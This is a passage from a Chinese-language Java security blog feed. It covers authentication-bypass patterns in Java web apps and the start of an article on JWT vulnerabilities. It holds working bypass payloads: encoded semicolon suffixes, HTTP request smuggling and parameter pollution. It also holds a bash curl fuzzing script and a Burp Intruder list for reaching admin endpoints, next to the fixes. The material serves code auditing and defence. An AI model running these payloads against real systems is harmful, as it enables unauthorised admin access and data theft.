    <span class="k">if</span> <span class="o">(</span><span class="no">WHITELIST</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="n">path</span><span class="o">))</span> <span class="o">{</span> <span class="k">return</span> <span class="kc">true</span><span class="o">;</span> <span class="o">}</span>
    
    <span class="c1">// 认证</span>
    <span class="nc">User</span> <span class="n">user</span> <span class="o">=</span> <span class="n">tokenService</span><span class="o">.</span><span class="na">validateAndGetUser</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getHeader</span><span class="o">(</span><span class="s">"Authorization"</span><span class="o">));</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">user</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="n">response</span><span class="o">.</span><span class="na">setStatus</span><span class="o">(</span><span class="mi">401</span><span class="o">);</span> <span class="k">return</span> <span class="kc">false</span><span class="o">;</span> <span class="o">}</span>
    
    <span class="c1">// 授权 — 必须有！</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">path</span><span class="o">.</span><span class="na">startsWith</span><span class="o">(</span><span class="s">"/api/admin/"</span><span class="o">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">user</span><span class="o">.</span><span class="na">hasRole</span><span class="o">(</span><span class="s">"ADMIN"</span><span class="o">))</span> <span class="o">{</span>
        <span class="n">response</span><span class="o">.</span><span class="na">setStatus</span><span class="o">(</span><span class="mi">403</span><span class="o">);</span> <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>
    
    <span class="n">request</span><span class="o">.</span><span class="na">setAttribute</span><span class="o">(</span><span class="s">"currentUser"</span><span class="o">,</span> <span class="n">user</span><span class="o">);</span>
    <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="56-waf-绕过与对抗补充">5.6 WAF 绕过与对抗（补充）</h2>

<p>当目标有 WAF 保护时，基础 Payload 可能被拦截。以下是绕过技巧：</p>

<h3 id="编码绕过">编码绕过</h3>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err"># 基础 payload 被拦
GET /admin;.js → 403 Forbidden (WAF 拦截)

# URL 编码分号
GET /admin%3b.js

# 双重编码
GET /admin%253b.js

# Unicode 编码
GET /admin\u003b.js

# 混合编码
GET /admin%3b%2ejs
</span></code></pre></div></div>

<h3 id="协议级绕过">协议级绕过</h3>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err"># HTTP/1.0 不支持分块传输，某些 WAF 解析不同
</span><span class="nf">GET</span> <span class="nn">/admin;.js</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.0</span>

# 利用 Transfer-Encoding 分块
POST /admin HTTP/1.1
Transfer-Encoding: chunked

3
;.js
0

# HTTP 请求走私
GET /admin HTTP/1.1
Host: target.com
Content-Length: 0
Transfer-Encoding: chunked

GET /admin;.js HTTP/1.1
Host: target.com
</code></pre></div></div>

<h3 id="参数污染">参数污染</h3>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err"># 利用参数覆盖 WAF 检测
GET /api/admin/list?id=1&amp;role=admin
GET /api/admin/list?role=admin&amp;role=user  # WAF 可能取第一个

# 分号参数
GET /api/admin/list;role=admin
</span></code></pre></div></div>

<h3 id="大小写与空格变形">大小写与空格变形</h3>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err"># 大小写绕过
GET /ADMIN/users
GET /Admin/Users

# Tab/空格绕过
GET /admin%09/users    # %09 = Tab
GET /admin%20/users    # %20 = 空格（某些框架会 trim）
</span></code></pre></div></div>

<hr />

<h2 id="57-自动化-fuzzing-策略补充">5.7 自动化 Fuzzing 策略（补充）</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="c"># 鉴权绕过 Fuzzing 脚本</span>
<span class="nv">TARGET</span><span class="o">=</span><span class="s2">"https://target.com"</span>
<span class="nv">ENDPOINTS</span><span class="o">=(</span>
    <span class="s2">"/api/admin/users"</span>
    <span class="s2">"/api/admin/config"</span>
    <span class="s2">"/api/order/export"</span>
    <span class="s2">"/api/user/profile"</span>
<span class="o">)</span>

<span class="nv">PAYLOADS</span><span class="o">=(</span>
    <span class="s2">";.js"</span>        <span class="c"># 分号+静态后缀</span>
    <span class="s2">";.css"</span>
    <span class="s2">";.png"</span>
    <span class="s2">"%3b.js"</span>      <span class="c"># URL 编码分号</span>
    <span class="s2">"%3b.css"</span>
    <span class="s2">";../"</span>        <span class="c"># 分号+路径穿越</span>
    <span class="s2">"%2f"</span>         <span class="c"># 编码斜杠</span>
    <span class="s2">"%2e%2e%2f"</span>   <span class="c"># 编码 ../</span>
    <span class="s2">"%20"</span>         <span class="c"># 空格</span>
    <span class="s2">"%0d%0a"</span>      <span class="c"># CRLF</span>
    <span class="s2">"%00.jpg"</span>     <span class="c"># 空字节</span>
    <span class="s2">"."</span>           <span class="c"># 点号</span>
    <span class="s2">"//"</span>          <span class="c"># 双斜杠</span>
<span class="o">)</span>

<span class="k">for </span>endpoint <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">ENDPOINTS</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do
    </span><span class="nb">echo</span> <span class="s2">"=== Testing: </span><span class="nv">$endpoint</span><span class="s2"> ==="</span>
    
    <span class="c"># 无认证直接访问</span>
    <span class="nv">status</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="nt">-o</span> /dev/null <span class="nt">-w</span> <span class="s2">"%{http_code}"</span> <span class="s2">"</span><span class="nv">$TARGET$endpoint</span><span class="s2">"</span><span class="si">)</span>
    <span class="nb">echo</span> <span class="s2">"  Direct: </span><span class="nv">$status</span><span class="s2">"</span>
    
    <span class="c"># 带 Payload 绕过</span>
    <span class="k">for </span>payload <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">PAYLOADS</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do
        </span><span class="nv">status</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="nt">-o</span> /dev/null <span class="nt">-w</span> <span class="s2">"%{http_code}"</span> <span class="s2">"</span><span class="nv">$TARGET$endpoint$payload</span><span class="s2">"</span><span class="si">)</span>
        <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$status</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"401"</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$status</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"403"</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$status</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"302"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
            </span><span class="nb">echo</span> <span class="s2">"  ⚠️  BYPASS: </span><span class="nv">$endpoint$payload</span><span class="s2"> → </span><span class="nv">$status</span><span class="s2">"</span>
        <span class="k">fi
    done
done</span>
</code></pre></div></div>

<h3 id="burp-suite-intruder-配置">Burp Suite Intruder 配置</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Attack type: Sniper
Payload position: GET /api/admin/users§§ HTTP/1.1
Payload list:
  ;.js
  ;.css
  %3b.js
  ;../public
  %2e%2e%2fpublic
  ..
  %2f
  %00.jpg
</code></pre></div></div>

<hr />

<h2 id="58-案例复盘某电商系统鉴权绕过补充">5.8 案例复盘：某电商系统鉴权绕过（补充）</h2>

<p><strong>发现过程</strong>：</p>

<ol>
  <li>浏览网站时发现所有 API 路径形如 <code class="language-plaintext highlighter-rouge">/api/v1/user/order/list</code></li>
  <li>Burp 抓包，尝试访问 <code class="language-plaintext highlighter-rouge">/api/v1/admin/user/list</code> → 401</li>
  <li>追加 <code class="language-plaintext highlighter-rouge">;.js</code> 后缀：<code class="language-plaintext highlighter-rouge">/api/v1/admin/user/list;.js</code> → <strong>200 OK，返回全部用户数据</strong></li>
</ol>

<p><strong>根因分析</strong>：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 该系统的 AuthInterceptor 代码</span>
<span class="k">if</span> <span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getRequestURI</span><span class="o">().</span><span class="na">endsWith</span><span class="o">(</span><span class="s">".js"</span><span class="o">)</span> 
    <span class="o">||</span> <span class="n">request</span><span class="o">.</span><span class="na">getRequestURI</span><span class="o">().</span><span class="na">endsWith</span><span class="o">(</span><span class="s">".css"</span><span class="o">))</span> <span class="o">{</span>
    <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>  <span class="c1">// 静态资源直接放行</span>
<span class="o">}</span>
<span class="c1">// ... 后续的认证逻辑永远走不到</span>
</code></pre></div></div>

<p><strong>影响范围</strong>：</p>
<ul>
  <li>全部管理接口可绕过（用户管理、订单管理、系统配置）</li>
  <li>无需任何认证，直接获取管理权限</li>
</ul>

<p><strong>修复验证</strong>：</p>
<ul>
  <li>将 <code class="language-plaintext highlighter-rouge">getRequestURI()</code> 改为 <code class="language-plaintext highlighter-rouge">getServletPath()</code></li>
  <li>白名单改为精确路径匹配（<code class="language-plaintext highlighter-rouge">Set&lt;String&gt;</code>）</li>
  <li>增加授权检查</li>
</ul>

<hr />

<h2 id="总结">总结</h2>

<p>鉴权绕过的根因可以归结为三类：</p>

<ol>
  <li><strong>解析差异</strong>：<code class="language-plaintext highlighter-rouge">getRequestURI()</code> vs <code class="language-plaintext highlighter-rouge">getServletPath()</code>，Shiro vs Spring 路径匹配</li>
  <li><strong>逻辑缺失</strong>：只认证不授权，<code class="language-plaintext highlighter-rouge">return true</code> 无角色检查</li>
  <li><strong>信任输入</strong>：白名单用 <code class="language-plaintext highlighter-rouge">endsWith/contains/startsWith</code> 做模糊匹配</li>
</ol>

<p><strong>检测原则</strong>：永远不要相信请求中的原始路径。用容器规范化后的路径 + 精确匹配 + 认证+授权双检。</p>

<hr />

<p><strong>系列文章</strong>：</p>
<ul>
  <li><a href="/2026/05/07/java-web-auth-overview/">概览篇</a></li>
  <li><a href="/2026/05/08/spring-security-security-practice/">Spring Security 安全配置篇</a></li>
  <li><a href="/2026/05/08/apache-shiro-security-practice/">Apache Shiro 安全配置篇</a></li>
  <li><a href="/2026/05/08/jwt-security-practice/">JWT 认证安全篇</a></li>
  <li><a href="/2026/05/08/java-session-redis-auth/">会话管理与 Redis 认证篇</a></li>
</ul>]]></content><author><name>江流</name></author><category term="Java安全" /><category term="Web安全" /><category term="鉴权绕过" /><category term="URI解析" /><category term="preHandle" /><category term="路径穿越" /><category term="IDOR" /><category term="代码审计" /><category term="渗透测试" /><summary type="html"><![CDATA[Java Web 鉴权绕过模式深度剖析 鉴权绕过是代码审计中最常见也最致命的问题类型。本文涵盖 URI 解析差异、路径规范化绕过、preHandle 认证/授权缺陷、WAF 对抗等核心模式。 本文是 Java Web 认证授权安全系列 的第五篇。 5.1 URI 解析差异绕过（最关键） 这是代码审计中的 “万恶之源”——鉴权 Filter 和路由分发使用不同的 URI 获取方法。 获取方法 安全性 说明 request.getRequestURI() ❌ 保留原始路径，含 ;、../、编码字符 request.getRequestURL() ❌ 同上 request.getServletPath() ✅ Tomcat 已规范化处理 request.getContextPath() ✅ 仅上下文路径 HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE ✅ Spring 路由匹配后的实际路径 经典攻击场景： // ❌ Filter 用 getRequestURI() 做白名单 → 可被分号绕过 String uri = request.getRequestURI(); if (uri.endsWith(".js") || uri.endsWith(".css")) { chain.doFilter(request, response); return; } // GET /admin/deleteUser;.js → getRequestURI() 匹配 .js → 放行 // Tomcat 解析分号 → 路由到 /admin/deleteUser → 鉴权绕过 // ✅ 修复 String path = request.getServletPath(); // 或 Spring 路由属性 String pattern = (String) request.getAttribute( HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE); 5.2 路径规范化绕过速查表 绕过模式 Payload 示例 原理 分号 + 后缀 /admin;.js、/admin;.css Tomcat 删除 ; 及之后 分号 + 穿越 /public;/../admin 组合绕过 URL 编码斜杠 /admin%2fusers 容器解码前后路径不一致 双重编码 /admin%252fusers %25 → % 路径穿越 /public/../admin 鉴权匹配与路由解析差异 尾部斜杠 /admin/ vs /admin 某些配置视为不同 空字节 /admin%00.jpg C 字符串截断 换行符 /admin%0d%0a 影响正则匹配 5.3 越权访问（IDOR） // ❌ 无归属校验 @GetMapping("/api/orders/{orderId}") public Order getOrder(@PathVariable Long orderId) { return orderService.findById(orderId); } // ✅ 校验归属 @GetMapping("/api/orders/{orderId}") public Order getOrder(@PathVariable Long orderId, @AuthenticationPrincipal UserDetails user) { Order order = orderService.findById(orderId); if (!order.getUserId().equals(user.getId())) { throw new AccessDeniedException("无权访问"); } return order; } 5.4 多层鉴权架构分析 请求 → Filter 层 → Interceptor 层 → Controller(AOP) → 业务逻辑 │ │ │ └── 登录检查 └── 权限校验 └── 业务权限 审计关键：绕过一层不代表绕过全部。需分析每层的职责和 fallback 逻辑。 5.5 实战：preHandle 只认证不授权 + getRequestURI() 绕过 模式 A：仅认证 + 全路径 return true // ❌ 问题代码 @Override public boolean preHandle(HttpServletRequest request, ...) { String uri = request.getRequestURI(); if (uri.contains("/login") || uri.endsWith(".js")) { return true; } String token = request.getHeader("Authorization"); if (token == null) { response.setStatus(401); return false; } User user = parseToken(token); if (user == null) { response.setStatus(401); return false; } return true; // ← 任何登录用户都能访问管理接口！ } # 攻击链 POST /api/login → Token: eyJ... (普通用户) GET /api/admin/deleteUser?id=1 Authorization: Bearer eyJ... → 200 OK GET /api/admin/deleteUser;.js → 无需登录即可访问！ 模式 B：白名单路径穿越 # startsWith("/api/public/") 可被穿越 GET /api/public/../admin/users → 绕过登录检查 GET /static/../../api/admin/config → contains("/static/") 绕过 模式 C：后缀匹配绕过 GET /api/admin/users;.js GET /api/config/dbPassword;.png 正确修复 // ✅ 使用 getServletPath() + 精确白名单 + 认证+授权 public boolean preHandle(HttpServletRequest request, ...) { String path = request.getServletPath(); if (WHITELIST.contains(path)) { return true; } // 认证 User user = tokenService.validateAndGetUser(request.getHeader("Authorization")); if (user == null) { response.setStatus(401); return false; } // 授权 — 必须有！ if (path.startsWith("/api/admin/") &amp;&amp; !user.hasRole("ADMIN")) { response.setStatus(403); return false; } request.setAttribute("currentUser", user); return true; } 5.6 WAF 绕过与对抗（补充） 当目标有 WAF 保护时，基础 Payload 可能被拦截。以下是绕过技巧： 编码绕过 # 基础 payload 被拦 GET /admin;.js → 403 Forbidden (WAF 拦截) # URL 编码分号 GET /admin%3b.js # 双重编码 GET /admin%253b.js # Unicode 编码 GET /admin\u003b.js # 混合编码 GET /admin%3b%2ejs 协议级绕过 # HTTP/1.0 不支持分块传输，某些 WAF 解析不同 GET /admin;.js HTTP/1.0 # 利用 Transfer-Encoding 分块 POST /admin HTTP/1.1 Transfer-Encoding: chunked 3 ;.js 0 # HTTP 请求走私 GET /admin HTTP/1.1 Host: target.com Content-Length: 0 Transfer-Encoding: chunked GET /admin;.js HTTP/1.1 Host: target.com 参数污染 # 利用参数覆盖 WAF 检测 GET /api/admin/list?id=1&amp;role=admin GET /api/admin/list?role=admin&amp;role=user # WAF 可能取第一个 # 分号参数 GET /api/admin/list;role=admin 大小写与空格变形 # 大小写绕过 GET /ADMIN/users GET /Admin/Users # Tab/空格绕过 GET /admin%09/users # %09 = Tab GET /admin%20/users # %20 = 空格（某些框架会 trim） 5.7 自动化 Fuzzing 策略（补充） #!/bin/bash # 鉴权绕过 Fuzzing 脚本 TARGET="https://target.com" ENDPOINTS=( "/api/admin/users" "/api/admin/config" "/api/order/export" "/api/user/profile" ) PAYLOADS=( ";.js" # 分号+静态后缀 ";.css" ";.png" "%3b.js" # URL 编码分号 "%3b.css" ";../" # 分号+路径穿越 "%2f" # 编码斜杠 "%2e%2e%2f" # 编码 ../ "%20" # 空格 "%0d%0a" # CRLF "%00.jpg" # 空字节 "." # 点号 "//" # 双斜杠 ) for endpoint in "${ENDPOINTS[@]}"; do echo "=== Testing: $endpoint ===" # 无认证直接访问 status=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$endpoint") echo " Direct: $status" # 带 Payload 绕过 for payload in "${PAYLOADS[@]}"; do status=$(curl -s -o /dev/null -w "%{http_code}" "$TARGET$endpoint$payload") if [ "$status" != "401" ] &amp;&amp; [ "$status" != "403" ] &amp;&amp; [ "$status" != "302" ]; then echo " ⚠️ BYPASS: $endpoint$payload → $status" fi done done Burp Suite Intruder 配置 Attack type: Sniper Payload position: GET /api/admin/users§§ HTTP/1.1 Payload list: ;.js ;.css %3b.js ;../public %2e%2e%2fpublic .. %2f %00.jpg 5.8 案例复盘：某电商系统鉴权绕过（补充） 发现过程： 浏览网站时发现所有 API 路径形如 /api/v1/user/order/list Burp 抓包，尝试访问 /api/v1/admin/user/list → 401 追加 ;.js 后缀：/api/v1/admin/user/list;.js → 200 OK，返回全部用户数据 根因分析： // 该系统的 AuthInterceptor 代码 if (request.getRequestURI().endsWith(".js") || request.getRequestURI().endsWith(".css")) { return true; // 静态资源直接放行 } // ... 后续的认证逻辑永远走不到 影响范围： 全部管理接口可绕过（用户管理、订单管理、系统配置） 无需任何认证，直接获取管理权限 修复验证： 将 getRequestURI() 改为 getServletPath() 白名单改为精确路径匹配（Set&lt;String&gt;） 增加授权检查 总结 鉴权绕过的根因可以归结为三类： 解析差异：getRequestURI() vs getServletPath()，Shiro vs Spring 路径匹配 逻辑缺失：只认证不授权，return true 无角色检查 信任输入：白名单用 endsWith/contains/startsWith 做模糊匹配 检测原则：永远不要相信请求中的原始路径。用容器规范化后的路径 + 精确匹配 + 认证+授权双检。 系列文章： 概览篇 Spring Security 安全配置篇 Apache Shiro 安全配置篇 JWT 认证安全篇 会话管理与 Redis 认证篇]]></summary></entry><entry><title type="html">JWT 认证安全实践与常见漏洞</title><link href="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/jwt/2026/05/08/JWT%E8%AE%A4%E8%AF%81%E5%AE%89%E5%85%A8%E5%AE%9E%E8%B7%B5%E4%B8%8E%E5%B8%B8%E8%A7%81%E6%BC%8F%E6%B4%9E/" rel="alternate" type="text/html" title="JWT 认证安全实践与常见漏洞" /><published>2026-05-08T06:00:00+00:00</published><updated>2026-05-08T06:00:00+00:00</updated><id>https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/jwt/2026/05/08/JWT%E8%AE%A4%E8%AF%81%E5%AE%89%E5%85%A8%E5%AE%9E%E8%B7%B5%E4%B8%8E%E5%B8%B8%E8%A7%81%E6%BC%8F%E6%B4%9E</id><content type="html" xml:base="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/jwt/2026/05/08/JWT%E8%AE%A4%E8%AF%81%E5%AE%89%E5%85%A8%E5%AE%9E%E8%B7%B5%E4%B8%8E%E5%B8%B8%E8%A7%81%E6%BC%8F%E6%B4%9E/"><![CDATA[<h1 id="jwt-认证安全实践与常见漏洞">JWT 认证安全实践与常见漏洞</h1>

<p>JWT 是 RESTful API 最常用的无状态认证方案，但算法混淆、签名缺失、弱密钥等问题会让 Token 认证形同虚设。</p>

<blockquote>
  <p>本文是 <a href="/2026/05/07/java-web-auth-overview/">Java Web 认证授权安全系列</a> 的第四篇。</p>
</blockquote>

<hr />

<h2 id="41-算法混淆攻击">4.1 算法混淆攻击</h2>

<p><strong>攻击原理</strong>：服务端同时接受 RS256（非对称）和 HS256（对称）算法时，攻击者可将算法改为 HS256，然后用<strong>公开的公钥</strong>作为 HMAC 密钥签名 Token。</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 危险：同时接受多种算法</span>
<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">JwtDecoder</span> <span class="nf">jwtDecoder</span><span class="o">()</span> <span class="o">{</span>
    <span class="k">return</span> <span class="nc">NimbusJwtDecoder</span>
        <span class="o">.</span><span class="na">withJwkSetUri</span><span class="o">(</span><span class="s">"https://auth.example.com/.well-known/jwks.json"</span><span class="o">)</span>
        <span class="o">.</span><span class="na">jwsAlgorithms</span><span class="o">(</span><span class="n">algs</span> <span class="o">-&gt;</span> <span class="o">{</span>
            <span class="n">algs</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="nc">JWSAlgorithm</span><span class="o">.</span><span class="na">RS256</span><span class="o">);</span>
            <span class="n">algs</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="nc">JWSAlgorithm</span><span class="o">.</span><span class="na">HS256</span><span class="o">);</span>   <span class="c1">// ← 危险！</span>
        <span class="o">})</span>
        <span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ✅ 正确：只接受单一算法</span>
<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">JwtDecoder</span> <span class="nf">jwtDecoder</span><span class="o">()</span> <span class="o">{</span>
    <span class="k">return</span> <span class="nc">NimbusJwtDecoder</span>
        <span class="o">.</span><span class="na">withJwkSetUri</span><span class="o">(</span><span class="s">"https://auth.example.com/.well-known/jwks.json"</span><span class="o">)</span>
        <span class="o">.</span><span class="na">jwsAlgorithm</span><span class="o">(</span><span class="nc">JWSAlgorithm</span><span class="o">.</span><span class="na">RS256</span><span class="o">)</span>
        <span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="42-alg-none-攻击">4.2 <code class="language-plaintext highlighter-rouge">alg: none</code> 攻击</h2>

<p>某些库在配置不当时接受未签名 Token：</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"alg"</span><span class="p">:</span><span class="w"> </span><span class="s2">"none"</span><span class="p">}</span><span class="w">
</span><span class="p">{</span><span class="nl">"sub"</span><span class="p">:</span><span class="w"> </span><span class="s2">"admin"</span><span class="p">,</span><span class="w"> </span><span class="nl">"role"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ADMIN"</span><span class="p">}</span><span class="w">
</span><span class="err">//</span><span class="w"> </span><span class="err">无签名部分</span><span class="w">
</span></code></pre></div></div>

<p><strong>Java 常见错误</strong>：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ parseClaimsJwt 不验证签名！</span>
<span class="nc">Claims</span> <span class="n">claims</span> <span class="o">=</span> <span class="nc">Jwts</span><span class="o">.</span><span class="na">parser</span><span class="o">().</span><span class="na">parseClaimsJwt</span><span class="o">(</span><span class="n">token</span><span class="o">).</span><span class="na">getBody</span><span class="o">();</span>

<span class="c1">// ✅ parseClaimsJws 强制验证签名</span>
<span class="nc">Claims</span> <span class="n">claims</span> <span class="o">=</span> <span class="nc">Jwts</span><span class="o">.</span><span class="na">parser</span><span class="o">()</span>
    <span class="o">.</span><span class="na">setSigningKey</span><span class="o">(</span><span class="n">secretKey</span><span class="o">)</span>
    <span class="o">.</span><span class="na">parseClaimsJws</span><span class="o">(</span><span class="n">token</span><span class="o">)</span>  <span class="c1">// ← 带 's'</span>
    <span class="o">.</span><span class="na">getBody</span><span class="o">();</span>
</code></pre></div></div>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ catch 范围过大，掩盖 UnsupportedJwtException</span>
<span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">validateToken</span><span class="o">(</span><span class="nc">String</span> <span class="n">token</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="nc">Jwts</span><span class="o">.</span><span class="na">parser</span><span class="o">().</span><span class="na">setSigningKey</span><span class="o">(</span><span class="no">SECRET_KEY</span><span class="o">).</span><span class="na">parseClaimsJws</span><span class="o">(</span><span class="n">token</span><span class="o">);</span>
        <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>  <span class="c1">// ← 太宽泛</span>
        <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>修复</strong>：分别处理 <code class="language-plaintext highlighter-rouge">UnsupportedJwtException</code>、<code class="language-plaintext highlighter-rouge">SignatureException</code>、<code class="language-plaintext highlighter-rouge">ExpiredJwtException</code>。</p>

<hr />

<h2 id="43-弱密钥与密钥管理">4.3 弱密钥与密钥管理</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 弱密钥 / 硬编码</span>
<span class="nc">String</span> <span class="n">secret</span> <span class="o">=</span> <span class="s">"mySecretKey"</span><span class="o">;</span>  <span class="c1">// 太短</span>
<span class="nc">String</span> <span class="n">secret</span> <span class="o">=</span> <span class="s">"abc123def456ghi789jkl012mno345pq"</span><span class="o">;</span>  <span class="c1">// 硬编码</span>

<span class="c1">// ✅ 正确做法</span>
<span class="nc">Key</span> <span class="n">key</span> <span class="o">=</span> <span class="nc">Keys</span><span class="o">.</span><span class="na">secretKeyFor</span><span class="o">(</span><span class="nc">SignatureAlgorithm</span><span class="o">.</span><span class="na">HS256</span><span class="o">);</span>  <span class="c1">// 自动生成 256 位</span>
<span class="c1">// 或从 Vault/KMS 安全存储读取</span>
</code></pre></div></div>

<p><strong>CVE-2024-31033</strong>：JJWT 在处理 <code class="language-plaintext highlighter-rouge">setSigningKey()</code> 时某些字符被忽略。建议：使用 <code class="language-plaintext highlighter-rouge">byte[]</code> 传参，升级最新版。</p>

<hr />

<h2 id="44-token-生命周期与吊销">4.4 Token 生命周期与吊销</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">String</span> <span class="n">token</span> <span class="o">=</span> <span class="nc">Jwts</span><span class="o">.</span><span class="na">builder</span><span class="o">()</span>
    <span class="o">.</span><span class="na">setSubject</span><span class="o">(</span><span class="n">userId</span><span class="o">)</span>
    <span class="o">.</span><span class="na">setIssuer</span><span class="o">(</span><span class="s">"https://auth.example.com"</span><span class="o">)</span>
    <span class="o">.</span><span class="na">setAudience</span><span class="o">(</span><span class="s">"api.example.com"</span><span class="o">)</span>
    <span class="o">.</span><span class="na">setIssuedAt</span><span class="o">(</span><span class="k">new</span> <span class="nc">Date</span><span class="o">())</span>
    <span class="o">.</span><span class="na">setExpiration</span><span class="o">(</span><span class="k">new</span> <span class="nc">Date</span><span class="o">(</span><span class="nc">System</span><span class="o">.</span><span class="na">currentTimeMillis</span><span class="o">()</span> <span class="o">+</span> <span class="mi">900_000</span><span class="o">))</span>  <span class="c1">// 15分钟</span>
    <span class="o">.</span><span class="na">signWith</span><span class="o">(</span><span class="n">privateKey</span><span class="o">,</span> <span class="nc">SignatureAlgorithm</span><span class="o">.</span><span class="na">RS256</span><span class="o">)</span>
    <span class="o">.</span><span class="na">compact</span><span class="o">();</span>
</code></pre></div></div>

<p><strong>验证</strong>：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Jws</span><span class="o">&lt;</span><span class="nc">Claims</span><span class="o">&gt;</span> <span class="n">jws</span> <span class="o">=</span> <span class="nc">Jwts</span><span class="o">.</span><span class="na">parserBuilder</span><span class="o">()</span>
    <span class="o">.</span><span class="na">setSigningKey</span><span class="o">(</span><span class="n">publicKey</span><span class="o">)</span>
    <span class="o">.</span><span class="na">requireIssuer</span><span class="o">(</span><span class="s">"https://auth.example.com"</span><span class="o">)</span>
    <span class="o">.</span><span class="na">requireAudience</span><span class="o">(</span><span class="s">"api.example.com"</span><span class="o">)</span>
    <span class="o">.</span><span class="na">build</span><span class="o">()</span>
    <span class="o">.</span><span class="na">parseClaimsJws</span><span class="o">(</span><span class="n">token</span><span class="o">);</span>
</code></pre></div></div>

<p><strong>吊销策略</strong>：JWT 无状态无法撤销，需配合：</p>
<ul>
  <li>短过期 + Refresh Token 轮换</li>
  <li>Redis 黑名单存储已吊销 Token ID</li>
  <li>关键操作强制重新认证</li>
</ul>

<hr />

<h2 id="45-jwt-安全检查清单">4.5 JWT 安全检查清单</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Component</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">JwtTokenValidator</span> <span class="o">{</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">SecretKey</span> <span class="n">secretKey</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">RedisTemplate</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">redis</span><span class="o">;</span>

    <span class="kd">public</span> <span class="nc">Claims</span> <span class="nf">validateAndParse</span><span class="o">(</span><span class="nc">String</span> <span class="n">token</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">tokenId</span> <span class="o">=</span> <span class="n">extractTokenId</span><span class="o">(</span><span class="n">token</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="nc">Boolean</span><span class="o">.</span><span class="na">TRUE</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">redis</span><span class="o">.</span><span class="na">hasKey</span><span class="o">(</span><span class="s">"token:revoked:"</span> <span class="o">+</span> <span class="n">tokenId</span><span class="o">)))</span> <span class="o">{</span>
